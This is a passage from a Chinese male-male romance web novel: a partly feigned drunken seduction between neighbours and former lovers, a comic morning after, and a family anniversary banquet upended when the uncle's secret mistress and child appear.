清醒,可太清醒了。 奚时得意:“就问你我醉没醉吧。” “是是是,你没醉,他们等下还要去唱K,我把你送回去先吧。” 谢河说着拉着奚时往外走,却被奚时扯回来了。 醉鬼蛮不讲理地说:“不行,你那表情,分明就是在说我醉了!再说一次,我没醉!” “” 谢河好说歹说,终于说服了奚时回去,赶紧拦了辆出租车,把人送回去。 他们的工作室在燕大旁边,所以聚会的地点也是选的离燕大近的,打车过去也就十分钟的时间。 谢河还记得奚时的住处,把人送上楼,正要问奚时门密码是多少,奚时却挣开他,转头去拍邻居家的门。 谢河吓了一大跳,赶紧拉住他:“祖宗,你认错门了,这个才是你的家门。” “嘿嘿,我当然知道哪个是我的家门,我跟你说,这里头有帅哥,我带你看帅哥。” 说着,又挣开谢河,去“砰砰”敲邻居的门。 “开门,快开门啊帅哥!” 谢河快要社死了。 我擦,到底是哪个王八蛋给奚时喝的酒!下次一定要让那人送奚时回来,让他感受一下醉鬼的魅力。 “祖宗,你别敲了,别敲了。” 正在谢河努力阻止奚时骚扰邻居时,邻居家的门“咔哒”一声开了,谢河头皮发麻,人都没看清,就赶紧冲人家道歉说:“不好意思不好意思,我朋友喝醉了,他不是故意的,他” 谢河后面的话停住了,因为他看到了来开门人的脸。 虽然只有一面之缘,但谢河很确定他见过。 上次奚时喝醉时,就是叫他来接的,奚时跟他关系很亲密,还叫他哥来着。 “原来是你啊,”谢河挠了挠头,“那个,小时他又喝醉了。” “我没醉,”奚时反驳完,冲霍景沉抛了个媚眼,“约吗,帅哥~” 谢河:“” 尴尬癌晚期了救命。 霍景沉看了眼眼神迷离的小醉鬼,伸出手扶他说:“交给我吧。” 谢河没有一点犹豫地把人交了出去。 奚时靠在霍景沉怀里,还要转头跟谢河说:“是很帅吧,我说了,是帅哥,嘿嘿,嘿嘿嘿。” 谢河扶额,不是,上次叫哥,这次调戏人家,这什么套路。 如果他们不是真兄弟,那就是真爱。 反正不可能是纯洁的邻里关系。 谢河也就没管那么多了,说:“那人就麻烦你照顾了。” “嗯。” 得到男人肯定的答复之后,谢河转身离开。 奚时还要和谢河说什么,刚转头就被霍景沉捂住眼睛,不准他看谢河离开的背影。 他可没忘记上次奚时说人家跑起来又六个腿,有妖孽上他兄弟身,非要去消灭妖孽的事情。 奚时的视觉被阻隔,终于安分了下来,眼睛在他掌心眨了两下,长长的睫毛扫在霍景沉的掌心,痒痒的。 霍景沉扶着他的手紧了紧。 等谢河进电梯走了,他才放开捂着奚时眼睛的手,就见奚时眨巴着两只无辜的大眼睛,看他。 “走吧,我送你” 霍景沉的话还没说完,奚时抬起手,轻佻地捏住他的下巴,像皇帝看美人一样左看右看。 老婆许久没这么主动地与他亲密接触了,霍景沉忍不住屏住呼吸。 “这张脸真帅,”奚时一脸迷恋,双手改成搂住他的脖子,“帅哥,给睡不?” 霍景沉搂着他的手收紧,看着他:“你确定?” “不确定了,我去找霍思议吧。” 奚时说着转身就走,刚抬起脚就觉得天旋地转,原来是被霍景沉扛起来了。 没错,是扛,扛肩膀上那种扛。 霍景沉沉着脸把人扛进门,脚勾住门“嘭”一下关上,没看到奚时看似醉蒙蒙的眼底得逞的笑。 第36章 第 36 章 两个人早把床单都滚烂了, 所以霍景沉没有犹豫,扛着奚时直接就进了房间,把人放在柔软的大床上。 奚时喜欢那种铺了厚厚的垫子, 软软柔柔的,能让人陷进去那种床。 霍景沉这里的床就是按照他的喜好来的。 奚时被扔在床上, 闻着鼻翼间属于男人身上的气息, 忍不住滚了一下。 “唔, 好软。” 霍景沉帮他把鞋子脱了,见他牛仔裤上有一块不知道是什么的脏污, 洁癖发作, 眉头皱了一下, 也伸手帮他脱了。 脱完,他俯下身,手撑在床上,低头看奚时。 奚时冲他抛了个媚眼,又直勾勾地与他对视片刻, 忽然伸手抱住他,手上一用力, 想把人翻个身。 纹丝不动。 我再翻。 意识到他企图的霍景沉配合他的力道, 被他翻过来,压在了床上。 “嘿嘿,先让我看看腹肌。” 奚时一边发出反派一样的笑,一边伸手解霍景沉的衣服。 衬衫扣子解开, 奚时眼睛开始发直。 “好看么?”霍景沉问。 “好看, 太好看了!” 八块腹肌, 胸肌,人鱼线, 麒麟臂…… 啊啊啊,救命,怎么会有男人有这么帅的脸,还有这样完美的身材! 斯哈斯哈。 “你只看?” 霍景沉声音低哑,循循善诱。 “哦对!” 奚时经他提醒,从口袋里摸出手机,对着景沉的上半身,卡擦一阵拍。 霍景沉:“……” 霍景沉开始怀疑是不是最近自己魅力下降了,以前奚时看到他这样子,早化身色鬼,上手吃豆腐了。 拿手机拍照是几个意思? 关键是拍完照之后,奚时坐在他的身上,开始玩手机。 没错,玩!手!机! 什么档次的手机比他还有魅力! 定睛一下,还是上次喝醉时,他不回信息,奚时以为是手机出问题了,去隔壁手机店,被人忽悠买的小杂牌。 霍景沉差点要化身霸总,明天就让这个手机牌子破产了。 他见奚时没有丝毫进入正题的意思,终于忍不住,抱着奚时柔韧纤瘦的腰,一个用力,把人又一次压在床上。 “明天再玩。”霍景沉声音沙哑。 老婆坐在他最敏感的位置上玩手机,是男人都会唧唧爆炸。 “等等,我就好,就好了。” 霍景沉不给他机会,把他试图重新拿手机的手压在枕头两边,低头吻他。 奚时挣扎了两下无果,握着手机的手指凭着记忆摁了两下,被男人热烈的亲吻弄得手脚发软,手机掉在了床上。 说起来,也就一周多时间没做,却有种恍如隔世的感觉。 两个人都有点失控。 尤其是奚时,醉酒BUFF启动后,什么都想尝试,什么都敢尝试。 羞耻?矜持?不存在的。 于是霍景沉更失控了。 这种事情,体力差的那一方,总是有点吃亏。 尤其是霍景沉这狗比坚持锻炼,身材体力都是一流的,奚时只偶尔打打篮球,跟他不是一个量级的。 到最后,奚时败下阵来,开始哭唧唧,求饶,无果后手脚并用地想逃走,脚还没沾地又被拖回来…… 霍景沉把他抱在怀里继续,这样子约等于禁锢的方式,连逃走的机会都没有。 还因为凿得太深,生理性的泪水就没停过。 又一轮交锋——哦,应该说是单方面的吊打结束后,奚时手脚无力四肢瘫软,感觉自己要死了。 酒这时候基本已经醒了,但意识是真的□□模糊了。 他居然没晕过去,进不了,奚时迷迷糊糊地想。 霍景沉从身后抱着他温存了好一会儿,起身下床,把拦精灵拿下来丢进垃圾桶,又从房间的小冰箱里拿了一瓶能量饮料。 他先喂奚时喝了几口,自己喝掉了剩下的大半瓶。 然后,他又从床头柜拿出了一个新的拦精灵! 眼睛迷蒙下一秒就要昏睡的奚时听到动静,努力睁着眼睛看过去,看到男人熟悉的动作,奚时脑子里冒出两个字: 救——命—— 他妈的臭男人居然要刷新记录了! 啊,啊啊啊! 外面不知何时下起了秋雨,雨滴“啪啪啪”一下下地拍打在玻璃窗上,和室内的声音形成了二重奏。 秋日里的夜晚没有虫鸣,房间里却有一只小夜莺,发出“呜呜呜”“哼嗯哼”的低泣声。 似哭似吟,婉转动听,惹得秋雨更甚,拍打之声愈发急促。 后面,夜莺似乎累了,昏睡过去,雨却还在一直下,只不过温柔缠绵了许多…… …… ………… 第二天上午快十点了,奚时才悠悠转醒。 他习惯性地想伸个懒腰,刚抬起手,面部表情就不由自主地扭曲了一下。 痛的。 浑身酸软,腰部胀痛,某个部位仿佛不是自己的了。 这时他的意识才清醒过来,关于昨天的一桩桩,一件件才迅速在他脑子里闪了一遍,脸上的表情一言难尽。 要说喝醉,他昨天是故意的,谁让霍景沉那厮天天穿着西装在他面前晃,再矜持的烈男也会被勾引,何况他不是烈男。 所以他故意在那几个小新人找他喝酒时没拒绝,只不过他从头到尾加起来的量也就喝了两杯啤酒的样子,虽然醉,但没醉得那么彻底。 起码昨天回来去敲邻居的门,是他故意的。 而且醉酒多好的理由啊,酒醒都不用负责就可以拍拍屁股走人。 就是这屁股啊 奚时难受得快要咬被子哭唧唧了,混蛋,这真的是个30多岁的老男人吗?! 肯定在分手的这段时间偷偷补身体了! “醒了?” 今天周六,霍景沉不用去上班,一直在床上陪着奚时,见他醒来,他把手上的平板放一边,先是手在他头上摸了一下。 还好,没发烧。 奚时一把拍开他的手,哑着声音控诉:“别碰我!你个趁人之危的伪君子!你不要脸!” 霍景沉:“” 好好好,吃干抹净,就要翻脸不认人了。 对上某人理不直气也壮的目光,霍景沉挑了下眉。 “你酒后不是不记事?怎么知道是我趁人之危,而不是你勾引我?” 奚时:“???” 卧槽,这是人话? 自己数数垃圾桶里的蓝精灵数量,也没脸说出这种话来! 奚时很气,又听到霍景沉一本正经地说:“我昨天在家里加班,你忽然来敲我门,我一开门你就醉醺醺地扑进我怀里,问我给不给睡,不给睡就要去找霍思议,我不想你去找霍思议,只能勉为其难地献身了,我门口安了监控的,你要看录像吗?” 奚时:“” “上床后,你对我动手动脚,一直缠着我索求,我现在肾还疼。” 奚时:“” 他妈你那满脸红光的样子,不提qiang对我再来一次就好了,还肾疼。 霍景沉说到这里,露出他的真面目:“所以,你必须对我负责!” 好好好,狗男人,得了便宜还卖乖是吧! 奚时:“你想得美!我就吃干抹净不认人,要不你去报警吧。” 说着奚时看了眼垃圾桶里的拦精灵:“最好带着这几个罪证去,看看警察叔叔是抓你还是抓我。” 霍景沉:“” 奚时扶着酸痛的腰从床上起来,下床,脚刚触到地,又软得跌回床上,霍景沉赶紧扶他,说:“我开玩笑的,我不要你负责,你想怎么睡就怎么睡,像以前一样。” 好卑微一首富。 “哼,你想得美!”奚时拍开他的手,“放开,我要回去。” 看来想经过一晚上的卖力耕耘换老婆回心转意是不可能了。 霍景沉退而求其次:“那你把我微信加回来。” 现在首富还在奚小时的黑名单海景房里关着,还没刑满释放。 和老婆的仅有一点联系,就是每天早晚奚时上下课开门看一眼。 还经常因为加班或者堵车晚归看不到。 岂一个惨字了得。 他要有霍思议这么好的天时地利人和,孩子都让奚时怀上三个了【不是。 奚时的眼珠子转了转,确实把霍景沉拉黑后诸多不便。 于是他故作勉为其难地说:“那好吧。” 从床上找到手机,奚时按了几下没亮,说:“没电了,我回去加。” “我这里有充电线,加了再回去。” 霍景沉说着从床头柜那边扯出一条充电线。 不愧是首富呢,这充电线是三头的,无论奚时什么手机都能给他充上。 只是首富大概不爱在床上边充电边玩手机,充电线很短,奚时只能跪坐在床头,等着手机开机。 他未着寸缕,自己都不知道自己这个样子有多诱人。 霍景沉从身后靠过来,灼热的呼吸落在他的耳畔,声音低哑:“好了吗?” 奚时干脆靠在他的怀里,等手机开机后输入密码,又启动微信,在通讯录黑名单里找到霍景沉,把他放出来。 “微信号。” 霍景沉报了自己的手机号。 奚时输入之后,加上,霍景沉也拿出自己的手机,确定重新住入老婆的微信列表后,霍景沉放下手机,直起身。 这时候奚时才感受到身后的异样,脸色瞬间变了。 他挣扎着想从霍景沉怀里出来,挣脱不了后用手肘撞他:“混蛋,我不来了,你敢乱来我保证你这辈子都上不了我的床!” 虽然很馋霍景沉的身体,但他又不是生产队的驴,哪里能承受这么高强度的双人运动。 倒是霍景沉,他绝对用了什么有钱人才用得起的黑科技,不然怎么可能这么,这么变态! 霍景沉从背后搂着他,亲吻着他的耳朵,低声说:“用腿。” “” 也,也不是不行。 从没尝试过的方式呢。 事实证明,奚时不需要醉酒buff,也很放得开。 生产队的驴被迫再次返工,再醒来已经是中午了,奚时才扶着快断的腰离开温柔乡。 他赤脚站在铺着厚厚地毯的地板上,在一堆衣服从挑自己的穿上,看到地上霍景沉的家常常服还嫌弃地伸脚踢了两下,又因牵扯到某个地方而痛得龇牙咧嘴。 亏贼了,霍景沉没穿西装。 气完,奚时一瘸一拐地,心满意足地回去了。 至于为什么会一瘸一拐,都怪霍景沉,非要引诱他用腿。 过程确实很但现在大腿内侧火辣辣的疼,和某处同曲同工了。 霍景沉这个房子,跟奚时那个差不多大,都是二房的,不过在布置方面,就一个天上一个地下了。 屋子里已经完全找不到上个房主的痕迹了,贴了新的墙纸,家具一律换新,地上铺着一看就是那种几万一平的手工毯。 等等!几万一平! 奚时小气属性发作,刚刚霍景沉有用手全部帮他接住,没弄到地毯上……吧?! 算了算了,霍景沉这里哪个不值钱,他骗了自己上百万呢,就应该狠狠地弄脏他的东西! 奚时这样想着,心安理得地回家了。 刚打开家门,正巧撞见才起床准备出门的秦铭天,这货在他这里住了三天了还没走。 “小时?你不会昨晚都没回来吧?” 秦铭天昨天熬到一点也没听到奚时回来的动静。 不过他也认识谢河,知道这哥们不仅酒量深不见底,还靠谱,所以也没在意。 “对,对啊,”面对好友,奚时难得有点心虚,“昨天喝多了,呵呵。” “哦哦,你这憔悴的样子,看得出来昨晚喝嗨了。” “……” 奚时心虚地低头换鞋。 “对了,海滩派对去不去?嘿嘿,比基尼很多哦。” 奚时翻了个白眼:“我又不喜欢比基尼。” “泳裤男也很多啊!” 奚时果断拒绝:“不要,一群白幼瘦,肌肉都没有,辣眼睛。” 看过了霍景沉的好身材后,哪里还有男人的身材能入他的眼! 秦铭天不是很懂这些男同们的审美,说:“行,那你车要不要用,不要借我啊。” “在鞋柜上,自己拿。” 奚时有气无力地说完,回房间去了。 换了睡衣,奚时躺在自己的床上,打开微信,看到霍思议一个小时前给他发消息,也是邀他出去哈皮的。 奚时被他老子干得下不来床,哪里有力气哈皮,果断拒绝了霍思议。 还有他叔奚锦年也给他发了消息。 叔:怎么电话关机了? 叔:你好久没回家了,晚上回来吃个饭吧,我跟你婶还有你李阿姨都想你了。 奚时抿了下唇,手指在屏幕上犹豫片刻,输入一个字:好。 回复完这些消息,奚时已经没什么困意了。 他干脆躺在床上,打开视频网站,想刷一下小视频放松放松。 刚打开APP,奚时就看到消息那里显示99+。 他这是又被网暴了?! 奚时就是一个关注100+,粉丝个位数的人间真实小破号,但前阵子得罪了一个视频博主,天天被他粉丝追着骂。 最近两天不是消停了吗,怎么突然又高潮了。 奚时点进消息,却发现今天的回复不全是辱骂,而是各种奇奇怪怪的东西。 他一惊,赶紧顺着评论点进去,果然看到了昨天晚上九点多,他在某个健身博主最新视频下的评论。 Xvgccx:[图片]看我哥身材,服不服,不服的出来正面对线! 奚时头皮发麻,他昨天那样子瞎按一通,居然还是把这条评论按出去了。 这个健身博主是他无意刷到的,秀他自己那一身匀称漂亮的肌肉,还自夸全网第一绝,奚时当时就贱兮兮地回了一句“没我哥好看”。 谁知道捅了马蜂窝,被他粉丝追着网暴。 奚时喝醉后,那是爹妈都不认的,昨天看到霍景沉的身材,不得狠狠地打脸回去? 他这条评论底下,有500多条回复。 叶公好色:一个字,绝! God秀:我为我以前对你的辱骂道歉,以及,咱哥有号吗?还有照片吗?斯哈斯哈。 才不是受呢:看得我菊内空虚,可恶,为什么不是躺在我的床上! 问号君:[图片]这是你的腿吧,你裤子都不穿,坐在你哥敏感部位要干什么?! 扁舟我墙头:能干什么,当然是被哥干! 就舔就舔:加我一个吧,[羞涩]我不是来破坏这个家的,我是来加入这个家的。 你莫愁:小X你回话啊,不回话我们就默认你被你哥干晕了。 奚时:“” 靠,你们在霍景沉的房间安了摄像头吗这么懂! 奚时赶紧删掉了这条评论。 太可怕了,好在他没把霍景沉的脸拍进去,不然今天霍景沉就全网社死了。 以后还是少喝点酒,不然哪天说不定一个脑抽,把床照发网上去了,那不得换个星球生活。 删掉评论后,奚时又打开图片,看到里面好几张昨天拍到的霍景沉的半果照,忍不住再次斯哈斯哈。 嘿嘿,嘿嘿嘿。 霍思议被奚时拒绝了出去玩的邀请,感觉周六都不快乐了,干什么都不得劲,连朋友邀他出去赛车玩都没兴趣。 在家里听某个直播平台的律师扯了一下午淡,学了一通把故意杀人都能变成正当防卫的辩护,霍思议又忍不住,戳开他学长的聊天框。 好好好:学长,晚上游乐园那里有烟花秀,要不要去看? 他学长明显在玩手机,回得很快。 学长:不了,晚上要回家一趟,好久没回去了。 好好好:回你叔婶那里吗? 学长:嗯。 好好好:我也去! 学长: 学长:别闹。 好好好:我说真的学长,你拒绝了我的联姻,但你叔婶肯定不会同意的是吧,说不定叫你回去就是提这个事情,然后为难你。 好好好:你怎么解释他们肯定都不会同意,甚至还会逼迫你。 好好好:如果我去就不同了,我可以跟他们解释,你对我没感情,但我在追求你。 好好好:保证把他们训得服服帖帖,以后再也不敢为难你。 奚时正在等打的车过来接他,看到霍思议这些消息,居然神奇地被他说服了。 他不知道霍景沉收到他们的珍珠婚宴邀请函后是什么反应,要怎么处理这件事情,但现在摆在他眼前最头疼的,确实是他叔婶不肯放弃他和霍思议的联姻。 明天就是他们的珍珠婚宴了,今天叫他回去,十有八/九就是为的这件事情。 他不可能跟他们说他和霍景沉的事情,不然他们只会更疯狂地逼他和霍景沉在一起。 所以,他真的很不想回去这一趟。 要是霍思议亲自跟他们说就不同了,他的话比他解释一百句都强。 你咋不上天:那你保证去了不准胡说有的没的。 学弟:学长你还不放心我吗,我最乖啦,绝对不会趁机说那些有的没的。 学弟:[乖巧.JPG] 你咋不上天:那行吧,我把地址发给你,你直接过去,我们在门口汇合。 学弟:遵命!学长! 第37章 第 37 章 奚时和霍思议在离奚家不远处的路口碰面, 霍思议自己开车来的,奚时直接上他车。 “学长,你怎么啦, 腰扭了吗?” 面对这位纯洁宝宝,奚时总会有一种欺骗人家感情的罪恶感。 他轻咳一声, 说:“是昨晚睡觉没盖被子, 着凉抽筋了。” “这样啊, 那要多补点钙,明天我送几盒钙片给你吧。” 这样子就可以去学长家里了呢。 “不用不用, 我有, ”奚时赶紧扯开这个话题, “等下我那堂妹要是又发什么疯,你别理她。” “放心啦学长,我不会让学长为难的。” “不,我不是怕你让我为难,我是担心你受气。”奚时认真地说。 他从小被奚玥pua不能反抗, 因此即便霍思议根本不可能被奚玥欺负,但他还是会下意识地怕霍思议会受奚玥气。 学长原来是担心他啊! 这个认知让霍思议心花怒放, 立刻说:“放心吧学长, 不会的!我很强,可以保护自己跟学长的!” 奚时很想ruarua他的头,说一句乖。 该死的,他怎么开始代入后妈这个角色了! 车子很快停在了奚家的别墅门口, 二人一起走进去。 客厅里, 奚夫人正拿着花剪在插花, 听到奚时进来的动静抬眼笑道:“小时回来……” 她的“了”字卡在了嗓子眼。 因为她看到了跟着奚时一块进来的霍思议,手中的花剪直接“啪”一下掉在了地上。 “怎么了, 婶?” 奚时不明所以,她又不是没见过霍思议,不至于这么失态吧。 不知道的还以为她见鬼了。 “我、我……” 这时,奚锦年从楼上下来,看到他们二人,也露出同款震惊神色,甚至脚下踩空了一下,要不是及时扶住楼梯,就滚下去了。 奚时怀疑自己是今天进门的方式不对,不然叔叔和婶婶怎么都一副见鬼的样子。 当然他不知道,他叔婶已经默认他和霍景沉是一对了,所以看到奚时又和霍思议在一起,简直震惊了三观。 奚锦年干笑:“你不是说和霍思议解除婚约了吗?怎么又……” 霍思议礼貌微笑:“是这样的,学长虽然不和我订婚了,但我现在在追他,今天也是以朋友身份来学长家里玩的。” 奚锦年奚夫人:“……” 你追他,你爸同意吗? 又或者,你追他,你爸呢? 奚时居然敢在首富和他儿子之间游移,不怕翻车? 照理说奚时能有这么大本事,他们应该开心。 可他们更担心奚时这样子玩,到时候霍景沉会把账算在他们头上。 他们忧心忡忡,对奚时都带上了怨恨。 他们今天特地让奚玥去外婆家,想让奚时回来跟他打一下感情牌,让他帮忙在霍景沉面前说情。 如果奚时不愿意,就以养育之恩道德绑架,事关家族,没办法,这事情说到底也是奚时惹出来的,他们奚家不可能为此时背锅。 特别是现在奚时跟父亲儿子都牵扯不清,更是不知道以后会怎么样。 奚锦年现在就是后悔,非常后悔,当初就应该逼奚时和邵寻协议结婚,哪里来的这么多事。 不,要说当初,最当初就应该让奚时去他外公外婆那里,养他这么多年,利益没带来一点,屁股倒是给他擦了不少。 奚锦年是越想越气,他自认为没有亏待过奚时,该给的关爱、金钱哪样没给到? 奚时呢,只会任性,自己想要怎么样就怎么样,从不考虑他们的处境,更不会考虑得罪了霍家人,将会给家族带来多少损失。 奚锦年满腹的感情牌想和奚时打,却因为霍思议的到来,暂时没办法说了。 刚好这时晚饭做好了,只能先开饭。 用完晚饭后,奚锦年站起来,说:“小时,你去我书房一下,我有……” “学长,我们要去看的烟花秀快开始了,吃好了就快点走吧。”霍思议打断并无视奚锦年说。 他冲奚时挤挤眼,意思是不用理他叔,跟自己走。 奚时看奚锦年那欲言又止的样子,知道要谈的事情肯定跟霍家有关系,一点都不想听。 但这样子走好像又有点过分。 犹豫片刻,还是逃避心理占了上风。 他心想去他妈养育之恩,老子不想伺候了。 “好啊,那我们快走吧。” “……” 奚锦年和奚夫人只能眼睁睁看着二人走掉,又气又没办法。 好在霍景沉暂时并没有对他们下手,明天就是珍珠婚宴,邀请函已经发出去了,霍家父子不来也得照样举行。 反正明天奚时也会出席,明天跟他说好了。 只是他们不知道,有一件比得罪首富更焦头烂额的事情等着他们,让他们再也没有和奚时说这个事情的机会了。 —— 奚时和霍思议离开奚家,还是陪他去看了心心念念的烟花,回到家的时候已经快十一点了。 昨天的过度运动让他腰酸背痛,恨不得沾枕就睡。 刚到家门口,隔壁的门卡擦一声开了,霍景沉从里面走出来。 他估计也是出去了才回来,身上有淡淡的酒气。 “看烟花去了?”霍景沉酸溜溜。 大孝子给他发了一堆和奚时一起看烟花的照片,想不知道都不行。 奚时想到自己这一身酸痛都是拜他所赐,翻了个大大的白眼:“查岗啊,邻居。” 霍景沉看到奚时眼下的青黑,心虚了一下。 他轻咳一声,问:“你是不是喜欢Doke?” 奚时眼睛一亮:“NBA的那个Doke吗?” “嗯,他这两天受邀到港市出席活动,今天结束,明天私人行程会来燕京一趟,你要喜欢他我可以安排你们见个面。” 奚时疯狂心动。 他喜欢篮球,平时也会看职业联赛,虽然只是个云粉丝从不追线下。 但谁能拒绝见喜欢的球星啊! 可是……奚时问:“明天下午吗?” “他明天下午到,要明天晚上。” 奚时泄气:“那算了,我没空。” 霍景沉问:“是要参加你叔婶的珍珠婚宴?” “对啊,他们不也给你发了邀请函?说起来还邀请你去谈我和思议的婚事呢,霍叔叔你什么感想?” 霍景沉心说已经给他们安排上精美套餐了,表面云淡风轻:“我不同意的事,谁也别想。” 奚时撇了下嘴,霍景沉这狗贼也太淡定了。 呵!果然所谓的疯,占有欲强,都是做出来给他看的。 “一个小宴会而已,随便找个理由不出席都行,”霍景沉又说,“据我所知,Doke快退役了,这也许是他在役时最后一次来华国。” 奚时被说得更心动了。 今天已经忘恩负义过一次了,明天再来一次,是不是不太好。 但话又说回来了,不参加一个宴会而已,不至于就上升到忘恩负义的程度。 而且他是Doke哎! “那……”奚时一咬牙一心动,还是见球星的欲望占了上风,“我去吧。” 霍景沉点头:“好,我安排。” 说完事情,奚时就拍拍屁股走人了,霍景沉看着老婆紧闭的门,无奈摇摇头,拿出手机,发了一条信息。 【奚家那边可以安排了。】 —— 隔日,奚锦年和奚夫人的珍珠婚宴。 由于上次霍思远携未婚妻出席了奚玥的生日派对,让奚家在燕京的地位水涨船高。 今日这个珍珠婚宴,来了许多有头有脸的人物,十分长脸,奚家一时间风光无两。 其中,最风光的要数奚夫人了。 以前,她虽贵为奚家当家夫人,却由于出身原因被贵妇圈的人看不起,不带她玩。 没办法,她出身确实普通,父亲原是果源集团董事长,也就是何天顺他爷爷的司机,她也是因为父亲这份工作,才有机会认识奚家当时的二少奚锦年,她使了点手段,成功嫁入豪门。 奚家基因好,奚锦年当时也是豪门圈炙手可热的联姻对象,结果娶了一个司机的女儿,当时也曾引起过很大的轰动。 正是因此,虽然父亲后面在果源集团董事长的提拔和奚锦年的帮助下,也攒下了一份家业,但那些豪门贵妇,总因为她曾经是司机女儿看不上她。 不过,这三十年来,奚锦年对她一心一意,事业稳定上升,让她在贵妇圈里越来越有脸,看到那些曾经看不起她的人捏着鼻子来捧她的臭脚,别提多解气。 她不算漂亮,还比奚锦年大四岁,加上出身不好,大家都不看好他们,从他们结婚那一刻起,就觉得他们迟早要离婚。 然而,他们在一起了十周年,二十周年,三十周年,儿女双全,恩爱如初。 所以她要大办珍珠婚,让全燕京的贵妇都来瞧瞧她这个司机之女现在有多风光,夫妻有多恩爱。 奚夫人端着高脚杯,听贵妇千金们诚心或者不诚心地对他们珍珠婚的夸赞与祝福,心中骄傲无比。 “哇,妈妈,这里好漂亮噢!” 一个清脆的童声闯入了奚夫人的耳朵,今天这宴会比较正式,只有几个人带小孩一块来,而且都是少爷千金出身,不是这幅没见过世面的样子。 奚夫人皱了下眉,下意识朝声音方向看去,握着高脚杯的手蓦然收紧了。 那小孩六七岁的样子,居然跟小时候的奚朝,也就是她儿子有几分相似…… 一个很狗血的念头爬上她的心头,又被她按下去。 不可能,奚朝做事一向很有底线,不可能会搞出这么大个儿子出来。 她又看向牵着孩子的女人,明显是孩子的母亲,三十岁出头的样子,很漂亮,气质温婉,穿着一身中式风的礼服,凹凸有致,越看越好看。 奚夫人皱眉,很面生,不认识的。 不行,必须问清楚,天下没有那么巧的事情,说不定是有心人想陷害奚朝也说不定。 儿子在国外拼事业,国内不能出什么乱子分他心。 她刚要和正在说话的贵妇们说声失陪,找个侍者去问问这个女人,一旁一向不怎么与她对付的李夫人也看到了那小孩,立刻抓住机会,说:“哎哟,这小孩长得好像你家奚朝小时候啊。” 奚夫人:“……” 奚夫人杀人的心都有了。 李夫人的声音不小,吸引不少人的目光朝那小孩和他母亲看过去。 一些不懂或者不记得奚朝小时候长啥样的,都拿出手机点开微信。 奚夫人的微信头像就是奚玥出生不久后,一家四口去相馆拍的民国风艺术照,那时候的奚朝和现在这小孩差不多大。 看完更唏嘘,真的很像。 奚夫人脸都绿了,心里就是后悔,非常后悔为什么要用这张照片做头像。 现在换头像只会显得欲盖弥彰,当着宾客的面,她不可能把人赶出去,也不可能上去质问这女的是谁,怎么混进来的,有什么目的。 她只能深吸一口气,挤出一个得体的笑,走到那女人跟前。 “你好,这位太太,我瞧你很面生,请问你是……” 那女人看向奚夫人,声音有点怯怯的:“我,我是来找我老公的。” 哇!真有瓜! 众宾客都哗然了,宴厅里原本忙着交际攀谈的宾客们听到这里动静,纷纷停下交谈,朝这里看过来。 奚夫人脸绿得都要发紫了,咬牙威胁道:“饭可以乱吃,话不可以乱说,别怪我没警告你,你今天的每一句话对我奚家造成的损失,我们都会追究到底的。” 女人吓得瑟缩了一下,垂下头。 李夫人看热闹不嫌事大,立刻走过去,亲亲热热地对女人说:“妹子你不要怕,今天在场的都是有头有脸的,你要是受了什么委屈,尽管说,我们都会帮你做主的。” “是啊,”另一位夫人也出来凑热闹,循循善诱道,“比如你被哪个男人骗了,抛弃了,都可以说出来,都是女人,我们会帮你撑腰的。” 奚夫人:“” 气死了!这些挨千刀的,不要被她抓到什么把柄,不然一个个都要狠狠清算过去! “我,我” 女人似乎想说,又不敢说,急死个人了,又吊足了众人胃口,停下交谈看热闹的人越来越多。 李夫人见女人支支吾吾的,看向她手中牵着的小男孩。 小孩还在好奇地东张西望,对上李夫人的目光,害羞冲她笑了一下。 奚家人的基因都不错,这个酷似奚朝的小男孩笑起来更是招人喜欢。 李夫人为了吃到第一口瓜,放下身段,捂着礼服的胸口蹲下身,对小男孩说:“小朋友,你是跟你妈妈来找爸爸的吗?” “是的姐姐。”小男孩脆生生地回答。 李夫人也快五十的人了,被这声姐姐叫得心花怒放,声音愈发温柔:“那你还记得你爸爸叫什么吗?” “我爸爸叫奚”小男孩的话还没说完,忽然眼睛亮晶晶地看着一个方向,“爸爸!” 众人不约而同地朝他看的方向看去,就见到了刚在接见几位贵客,现在才听到动静匆匆赶来的奚锦年。 众人:??? 卧槽?! 从未设想过的可能出现了 真的假的? 还没待众人从这个反转瓜里回过神来,就见看到小男孩和女人的奚锦年脸色大变。 很好,是真的。 众人的下巴差点掉一地,他们都以为这是奚朝的风流债找上门了,万万没想到,是奚锦年的。 啊这、这这也太刺激了! 和原配风光大办珍珠婚宴,小三携儿子找上门,这特么电视剧都不敢这么演啊! 关键是因着奚夫人有意无意地宣扬和秀,他们这对恩爱夫妻也是燕京豪门圈小有名气的,奚夫人还在小绿书上开了个账号,天天发一些小贴士,讲爱情保鲜的秘密,热度挺高。 现在看来,都是笑话,哈哈哈。 奚夫人难以置信地看向奚锦年。 “不可能,假的对不对?锦年,你告诉我他认错人了。” 一分钟前,奚夫人还在心里祈祷这孩子千万别是她儿子奚朝的。 而现在,奚夫人只希望这孩子是奚朝的。 “我” 奚锦年张了张嘴,说不出否认的话来。 他明明藏得很小心很小心,让他们远在南市,怎么这母子二人会突然出现在燕京。 而且她压根没有邀请函,是怎么进来的? 奚玥这时候才打扮好从楼上下来,看到这里像是凝固住的一幕,脚步顿了顿。 “这是怎么了?” 奚玥问完,看到那个女人,她眼睛一亮:“王姐姐,你也来燕京啦。” 奚夫人眼前发黑,看着走过来的女儿,问:“你认得她?” “对呀妈,她是爸爸的闽语老师,我见过的,声音可好听了,还很会泡茶妈,你怎么了妈?” 奚夫人已经眼前一黑,晕过去了 奚家又一次成了笑话。 只不过这次不仅仅是笑话那么简单,奚家主营珠宝和美妆行业,其中珠宝是大头,奚锦年爷爷从珍珠养殖起家,后面自己加工销售,做成了以珍珠珠宝为核心的珠宝界巨头。 虽然这几年国人信奉追捧国外高奢品牌,但奚家的珍珠珠宝始终牢牢占据着市场。 由于今年是奚锦年和奚夫人结婚三十周年,刚好是珍珠婚,寓意和家族事业对上了,奚夫人为了显摆他们的爱情,让设计师设计了一款叫相链一生的情侣手链。 手链以珍珠为主元素,又镶嵌了六颗蓝宝石,代表忠诚、坚贞、热情、纯洁、真挚、永恒,而且每一对手链尾端有一对独一无二的扣子,只能和彼此的扣上。 这款手链设计独特,寓意好,又是董事长夫妇结婚三十周年的纪念产物,公司以此为头衔,大力推销,卖得非常火爆。 也不知道是哪个缺德冒烟的,把奚锦年和奚夫人在珍珠婚宴上这一幕发到网上去了,而且背后有一只神秘的大手推波助澜,直接把这事搞上了高位热搜。 一时间,奚氏的品牌形象严重受损,几大网店和全国各地的门店全是来退钱和闹事唾骂的,股票直接跌停,焦头烂额。 —— 